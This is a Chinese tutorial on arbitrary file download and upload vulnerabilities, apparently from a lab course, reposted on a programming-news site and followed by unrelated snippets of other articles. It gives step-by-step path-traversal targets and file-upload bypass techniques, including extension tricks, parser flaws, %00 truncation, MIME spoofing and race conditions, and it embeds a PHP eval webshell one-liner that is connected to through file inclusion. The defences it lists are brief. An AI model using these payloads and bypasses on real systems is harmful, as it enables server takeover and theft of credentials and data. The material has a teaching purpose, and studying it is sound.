任意文件的上传和下载

1.任意文件下载(高危)

  •  定义

        一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

  •     可以下载(参数没有限制)

可以通过../上一级的形式猜测下载配置文件,获取系统的账号密码

  • 挖洞的方式

        一般链接形式:
            download.php?path=
            down.php?file=
            data.php?file=
            download.php?filename=
        或者包含参数:
            &Src=
            &Inputfile=
            &Filepath=
            &Path=
            &Data=

  •  当遇到一个任意文件下载时,一般利用思路:

        下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
        下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
        下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

  •   防御方法(漏洞修复)

        1.过滤".",使用户在url中不能回溯上级目录
        2.正则严格判断用户输入参数的格式
       3. php.ini配置open_basedir限定文件访问范围
            限制路径,只可以在这个路径下下载东西

2.任意文件上传(高危) 

2.1客户端

 通过js检测,在burp内抓包,将扩展名改为.php

 检测代码出现script就是前端

上传.jpg的形式,在burp进行抓包

 在burp里面更改文件扩展名

在upload里面存在hao.php 

首先取消拦截,复制图片地址

http://10.0.0.130:91/upload/upload/hao.php

2.2 服务端 

  • 黑名单

 上传特殊可解析后缀  .php3  .php5       修改apache配置文件,加入,php3和.php5,重启

插入.php3或者.php5

 http://10.0.0.130:91/upload/upload/202309121802212705.php3  不能解析

修改apache配置文件,加入,php3和.php5,重启

刷新页面,显示出来

 .htaccess   先上传.htaccess文件,在上传ha.jpg,会被解析为.php

先上传.htaccess文件

上传hao.jpg图片

 http://10.0.0.130:91/upload/upload/hao.jpg   会被解析为php

 利用PHP和 Windows环境的叠加特性4.php:.jpg

通过抓包改文件名为4.php:.jpg,以4.<形式传输文件内容

 上传jpg图片

通过burp抓包改为  4.php:.jpg

上传的为php形式,大小为零

找到放包的历史记录

文件名改为4.<或4.<<<或4.>>>或4.>><后

有了大小

 http://10.0.0.130:91/upload/upload/4.php

大小写混合绕过,把1.php改为1.phP 

 改名为hao.phP

 http://10.0.0.130:91/upload/upload/202309121935184766.phP

空格和点,写成1.php .  

 改名为  hao.php  .

  文件流特性绕过  ::$DATA

 hao.php::$DATA 

这个扩展名出不来

 ::$data  要把这个删掉

点空格点绕过   hao.php.  .    

 文件名改为hao.php.  .

 双后缀名绕过   hao.pphphp  

 ISS低版本5.x-6.x

目录解析   文件夹目录的扩展名为脚本扩展名,下面无论是什么文件都会被当成脚本解析(asp.cdx.asa.cer等)

打开网站2,新建一个文件夹C:\wwwtest\XYCMS

没有权限

  添加权限,重命名为123.asp

复制一个asp  

改名为jpg

http://10.0.0.130:82/123.asp/123.jpg  访问 

 ISS低版本5.x-6.x    文件解析    123.asp;.jpg

浏览器访问为图片

改为123.asp;.jpg

 http://10.0.0.130:82/123.asp;.jpg 

IIS7.5解析漏洞     fix_pathinfo   

在物理机搭建网站

在搜索栏输入iis点击


打开phpstudy 切换到iis

 

查看端口
                            

访问出现403   可以正常访问了

上传图片访问
是带有木马的图片

/.php加上这个

去掉这个勾

被解析了 

apache   从右往左开始解析,直到认识的为止

命名为不认识的形式 

nginx       /.php   fix_pathinfo与这个有关     

切换中间件

 将phpinfo.php改为phpinfo.jpg

应该为一个图片

 /.php加上这个被解析为php

为0是被防御,为1存在漏洞

  漏洞被防御 

  • 白名单 

白名单00截断

条件:php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc(魔术符号)需要为OFF状态
只能为.jpg形式

%00截断  

 hao.php%00    看一下版本 php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态

 二进制00截断

 ../upload/hao.php      多打几个空格,将第一个空格改为00

将第一个空格改为00

  改完后如果不变恢复一下默认值,重启burp

 直接访问木马即可

MIME绕过     Content-Type: image/gif  改头部信息         

Content-Type: image/gif  改为这个

  • 检查文件内容 

 文件包含    将扩展名改为png        文件包含  图片和木马结合文件包含

将D:\VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具中的test.jpg拖进一句话工具(随机插入在任何地方) 

 插入一句话木马 <?php @eval($_POST['123']);?>

右键打开图片可以看见有一句话木马

右键复制图片地址http://10.0.0.130:91/upload/upload/3820230913144850.jpg

点击文件包含漏洞

参数给变量,无论是什么形式都以脚本(php)解析

拼接http://10.0.0.130:91/upload/include.php?file=./upload/3820230913144850.jpg 查看图片以脚本执行了

 使用菜刀连接服务器

图片上传不了加头   上传的jpg图片右键查看变为gif要修改头   

含有一句话木马的jpg格式上传不了

头部添加GIF89a

以头来命名

 二次渲染
 图片带有一句话木马传到服务器,服务器检测通过,通过函数把图片生成一个新的图片,以前的删掉,二次渲染的图片一句话木马就没有了

  • 其他

条件竞争
服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。
快速上传快速访问,服务器生成一个文件,不会被删除

清除变量

开始攻击

会时不时出现一个文件

 访问tj.php         http://192.168.134.1:90/upload/upload/tj.php

抓一个包

发送给测试器

 清除变量         

 线程数改为1

 会生成一个新的qing.php

两个同时开启一个上传,一个访问

服务器生成一个新的qing.php

访问服务器生成的qing.php,不会被删掉

  •     上传重命名竞争+Apache解析漏洞

  

 把php改名了

 发送给测试器快速点发送

可能会有一个两个没有被改名字 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/88609.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

缓存更新策略

redis的缓存更新策略: 先删除缓存,在更新数据库,缺点:当线程1进行一个更新的操作,先进行缓存删除,在修改数据库,但是修改数据库之前,线程2 进行查询缓存的操作,未命中,查找数据库,写入缓存,线程1修改完成后,但是此时缓存中的数据还是旧数据,会出现数据不一致问题,只有等这个缓…

L10 数据库

1&#xff0c; 数据库的安装 sudo dpkg -i *.deb 2, 数据库命令&#xff1a; 1&#xff09;系统命令 &#xff0c; 都以.开头 .exit .quit .table 查看表 .schema 查看表的结构 2&#xff09;sql语句&…

OpenCV显示10bit Raw数据

参考&#xff1a;10 12 14bit图像存储格式&#xff0c;利用Opencv显示10bit Raw数据,并根据鼠标的移动显示对应位置的灰度值。其他bit位数的Raw数据方法类似。 代码实现&#xff1a; #include<opencv2/opencv.hpp> #include<iostream> #include<opencv/highgu…

@Valid和 @Validated

Valid 和 Validated 是用于在 Spring 框架中进行数据验证的注解。 Valid 是 Java 标准库&#xff08;javax.validation&#xff09;中的注解&#xff0c;用于标记需要进行数据验证的对象或方法参数。它可以应用于方法参数、方法返回值、字段或方法级别。当使用 Valid 注解时&a…

【Vue.js】使用Element入门搭建登入注册界面axios中GET请求与POST请求跨域问题

一&#xff0c;ElementUI是什么&#xff1f; Element UI 是一个基于 Vue.js 的桌面端组件库&#xff0c;它提供了一套丰富的 UI 组件&#xff0c;用于构建用户界面。Element UI 的目标是提供简洁、易用、美观的组件&#xff0c;同时保持灵活性和可定制性 二&#xff0c;Element…

一创聚宽的实盘就要关闭了,有没有好用的实盘平台推荐

挺多的&#xff0c;比较普遍的是QMT和Ptrade&#xff0c;python语言&#xff0c;易上手&#xff0c;通用性好&#xff0c;要说适用性可以考虑Ptrade&#xff0c;问一下你的客户经理有没有&#xff0c;用Ptrade的券商也多&#xff0c;如果之前用一创聚宽你可以无缝切换&#xff…

【工具使用】Audition软件导入.sesx文件报错问题

一&#xff0c;简介 本文主要介绍了在使用Audition导入新的wav文件后&#xff0c;保存&#xff0c;然后再打开.sesx文件时报错&#xff1a;“ 错误: 文件已损坏或使用了不受支持的格式 XML FATAL ERROR: (line: 2835, col: 69) [ D:\Project\AE_Y2311\16channel_test\16_chann…

【趣味JavaScript】5年前端开发都没有搞懂toString和valueOf这两个方法!

&#x1f680; 个人主页 极客小俊 ✍&#x1f3fb; 作者简介&#xff1a;web开发者、设计师、技术分享博主 &#x1f40b; 希望大家多多支持一下, 我们一起进步&#xff01;&#x1f604; &#x1f3c5; 如果文章对你有帮助的话&#xff0c;欢迎评论 &#x1f4ac;点赞&#x1…

linux易忘命令(如:端口、进程、文件、内存、vim)持续更新

路径&#xff1a;pwd 开放端口&#xff1a;firewall-cmd --zonepublic --add-port<端口号>/tcp --permanent 重启防火墙&#xff1a;systemctl restart firewalld 查看防火墙开放的端口&#xff1a;firewall-cmd --list-ports --permanent 解压&#xff1a; unzip *.…

基于微信小程序的语言课学习系统设计与实现(源码+lw+部署文档+讲解等)

前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb;…

备受以太坊基金会青睐的 Hexlink,构建亿级用户涌入 Web3的入口

早在 2021 年 9 月&#xff0c;以太坊创始人 Vitalik Buterin 就曾提出了 EIP-4337&#xff08;账户抽象&#xff09;提案&#xff0c;并在去年 10 月对该提案进一步更新&#xff0c;引发行业的进一步关注。在今年 3 月&#xff0c;EIP-4337 提案正式通过审计&#xff0c;并成为…

CPP代码检查工具

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 TODO:写完再整理 文章目录 系列文章目录前言CPP代码检查工具工具一:GCC编译器工具二:Cppcheck工具三:gbd调试器工具四:SonarCube嵌入式平台工具内存泄漏检查工具linux的cpu占用情况前言 认…

解决电脑桌面软件图标变白的问题

文章目录 前言一、软件图标变白的原因二、解决方法1、显示隐藏项目2、清除图标缓存 前言 桌面软件太多了&#xff0c;导致有些杂乱&#xff0c;换了个显示器后&#xff0c;想着将桌面的软件分类&#xff0c;将其放到不同的目录下&#xff0c;结果有些软件放入文件夹后图标变成…

BERT: 面向语言理解的深度双向Transformer预训练

参考视频&#xff1a; BERT 论文逐段精读【论文精读】_哔哩哔哩_bilibili 背景 BERT算是NLP里程碑式工作&#xff01;让语言模型预训练出圈&#xff01; 使用预训练模型做特征表示的时候一般有两类策略&#xff1a; 1. 基于特征 feature based &#xff08;Elmo&#xff09;…

SQLAlchemy关联表删除策略设置

目录 SQLAlchemy关联表 常用的级联选项 外键 SQLAlchemy关联表 SQLAlchemy 是一个 Python 的 ORM&#xff08;对象关系映射&#xff09;库&#xff0c;它允许你在 Python 中使用类来表示数据库中的表&#xff0c;从而更方便地进行数据库操作。在 SQLAlchemy 中&#xff0c;可…

idea没有maven工具栏解决方法

背景&#xff1a;接手的一些旧项目&#xff0c;有pom文件&#xff0c;但是用idea打开的时候&#xff0c;没有认为是maven文件&#xff0c;所以没有maven工具栏&#xff0c;不能进行重新加载pom文件中的依赖。 解决方法&#xff1a;选中pom.xml文件&#xff0c;右键 选择添加为…

SD-WAN在汽车零部件供应商中的成功案例分享

在当今数字化时代&#xff0c;企业面临着越来越多的网络挑战和瓶颈。传统网络架构已经无法满足企业高效、安全、可靠、低成本的网络需求。 SD-WAN作为一种新兴的网络方案&#xff0c;备受企业关注&#xff0c;SD-WAN在优化企业网络架构上发挥着重要的作用。 本期分享的是一家制…

香港第一金:美元指数昨晚拉高,不确定性加深金价下跌

香港第一金基本面分析&#xff1a; 中国纸黄金交易通显示&#xff0c;全球最大黄金上市交易基金(ETF)截至09月26日持仓量为876.52吨&#xff0c;较上日减持0.87吨&#xff0c;本月止净减持13.58吨。 由于美联储政策制定者对即将举行的货币政策会议继续保持鹰派立场&#xff0…

numpy的基础操作

numpy 创建:array import numpy as np anp.([[1,2,3],[4,6,2]]) anp.([[3,4,5]],dtypenp.int)#说明是int型的元素类型&#xff0c;默认是64位&#xff0c;或者可以dtypenp.float anp.zeros((3,4))#创建三行四列的零矩阵 anp.ones((3,4))dtype可以规定创建的数据类型即可创建二…

【CloudComapre】Ubuntu 20.04 下从源码编译后无法导入pcd文件

文章目录 原因解决方法 原因 我直接执行build/qCC/CloudCompare&#xff0c;是无法导入pcd文件的&#xff0c;会弹窗提示&#xff1a; [Load] Cant guess file format: unhandled file extension XXX这是由于没有安装软件&#xff0c;也就是说我们二次开发时必须要安装到系统…